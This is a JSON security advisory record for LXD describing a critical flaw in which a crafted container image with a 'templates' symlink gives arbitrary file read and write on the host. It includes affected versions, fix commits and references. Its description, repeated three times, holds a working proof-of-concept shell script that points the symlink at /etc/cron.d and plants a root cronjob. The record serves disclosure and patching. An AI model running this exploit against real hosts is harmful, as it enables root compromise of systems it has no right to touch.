{"id":"GHSA-jpf8-86f3-wp38","aliases":[],"status":"published","title":"LXD has arbitrary file read+write on host via templates/ symlink in malicious image","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479\n\n### Summary\n\nA specially crafted image can be used to read or create/write arbitrary\nfiles on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls\n`archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in\n`shared/archive/archive.go` excludes device nodes, but it does not\nreject a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary\ndirectory and edit arbitrary files in it.\n\n\n### PoC\n\nBelow, we map the templates directory to `/etc/cron.d` on the host, but\nit can be mapped anywhere. We then create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id\u003e/pwned'\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink;\npossibly leading to command execution.","severity":{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-73"],"published":"2026-11-06T18:53:57Z","modified":"2026-11-06T19:00:05Z","fixes":[{"ecosystem":"Go","package":"github.com/canonical/lxd","fixed_in":["0.0.0-20260203144152-d1c8ba15d160"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/canonical/lxd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20260203144152-d1c8ba15d160"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/canonical/lxd","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260203144152-d1c8ba15d160"}]}]}],"references":[{"url":"https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38","tags":["web"]},{"url":"https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48752","tags":["advisory"]},{"url":"https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/734fcc4d2c8fd0332d42010e34fe856077c2f7f3","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/79f3879047b94344e17750551fddc74ed7f14ff7","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/8a3b8d77a0279c3a9da15f4c4aa639ef0631d805","tags":["web"]},{"url":"https://github.com/canonical/lxd/commit/be6df3b49e79344ec461daadd82d80139697dc1a","tags":["web"]},{"url":"https://github.com/lxc/incus/commit/cbefa31ae0da8fd96361178aed3a3c631e098fef","tags":["web"]},{"url":"https://github.com/advisories/GHSA-jpf8-86f3-wp38"},{"url":"https://github.com/canonical/lxd","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-jpf8-86f3-wp38","title":"LXD has arbitrary file read+write on host via templates/ symlink in malicious image","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479\n\n### Summary\n\nA specially crafted image can be used to read or create/write arbitrary\nfiles on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls\n`archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in\n`shared/archive/archive.go` excludes device nodes, but it does not\nreject a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary\ndirectory and edit arbitrary files in it.\n\n\n### PoC\n\nBelow, we map the templates directory to `/etc/cron.d` on the host, but\nit can be mapped anywhere. We then create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id\u003e/pwned'\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink;\npossibly leading to command execution.","status":"published","published":"2026-11-06T18:53:57Z","modified":"2026-11-06T18:53:57Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-73"],"updated_at":"2026-11-06T19:01:23.578064Z"}],"osv":[{"id":"GHSA-jpf8-86f3-wp38","title":"LXD has arbitrary file read+write on host via templates/ symlink in malicious image","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479\n\n### Summary\n\nA specially crafted image can be used to read or create/write arbitrary\nfiles on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls\n`archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in\n`shared/archive/archive.go` excludes device nodes, but it does not\nreject a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary\ndirectory and edit arbitrary files in it.\n\n\n### PoC\n\nBelow, we map the templates directory to `/etc/cron.d` on the host, but\nit can be mapped anywhere. We then create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id\u003e/pwned'\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink;\npossibly leading to command execution.","status":"published","published":"2026-11-06T18:53:57Z","modified":"2026-11-06T19:00:05.357374286Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-73"],"updated_at":"2026-11-06T19:05:31.753133Z"}]}}